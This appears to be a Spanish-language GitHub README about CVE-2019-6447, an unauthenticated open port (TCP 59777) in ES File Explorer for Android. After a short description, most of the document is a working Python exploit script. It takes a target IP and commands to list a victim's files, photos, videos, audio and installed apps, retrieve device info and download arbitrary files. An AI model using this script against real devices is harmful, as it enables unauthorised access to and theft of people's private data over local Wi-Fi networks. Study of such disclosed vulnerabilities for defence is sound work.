chethine/esfileexplorer-cve-2019-6447Explotación de vulnerabilidad de Android en ES File Explorer
Explotando la vulnerabilidad de Android en ES File Explorer
El explorador de archivos ES fue creado por ES worldwide, que forma parte de DO Global y tiene su sede en China. Este explorador de archivos ES solo está disponible para su uso en dispositivos móviles que ejecutan el sistema operativo Android. En la actualidad, ES File Explorer se ha descargado más de 100 millones de veces. Esta aplicación es el famoso explorador de archivos de Android, por lo que recibe mucha atención. Por otro lado, en 2019, investigadores especializados en ciberseguridad descubrieron una vulnerabilidad en la versión 4.1.9.7.4 de ES File Explorer. Los atacantes que pueden explotar esa vulnerabilidad están en condiciones de recopilar todos los datos sensibles del usuario que se guardan en ES File Explorer. Esto incluye fotografías, videos, grabaciones de voz, documentos y otros tipos de datos.
Hasta la versión 4.1.9.7.4, la aplicación ES File Explorer File Manager para Android permite a atacantes remotos leer archivos arbitrarios o ejecutar aplicaciones en una red Wi-Fi local realizando consultas al puerto TCP 59777. Después de que la aplicación ES se haya iniciado al menos una vez, este puerto TCP permanecerá abierto y responderá a datos application/json no autenticados enviados a través de HTTP.
Versión 4.1.9.7.4
angler:/ # netstat -ap | grep com.estrongs
tcp6 0 0 :::59777 :::* LISTEN 5696/com.estrongs.android.pop
import requests
import json
import ast
import sys
if len(sys.argv) < 3:
print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
sys.exit(1)
url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print(" listFiles : List all Files.")
print(" listPics : List all Pictures.")
print(" listVideos : List all videos.")
print(" listAudios : List all audios.")
print(" listApps : List Applications installed.")
print(" listAppsSystem : List System apps.")
print(" listAppsPhone : List Communication related apps.")
print(" listAppsSdcard : List apps on the SDCard.")
print(" listAppsAll : List all Application.")
print(" getFile : Download a file.")
print(" getDeviceInfo : Get device info.")
sys.exit(1)
print("\n==================================================================")
print("| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |")
print("| Coded By : Nehal a.k.a PwnerSec |")
print("==================================================================\n")
header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}
def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal_eval(response.text)
def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')
def do_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)
if cmd in listCmds:
do_listing(cmd)
elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved as `out.dat`.")
elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")
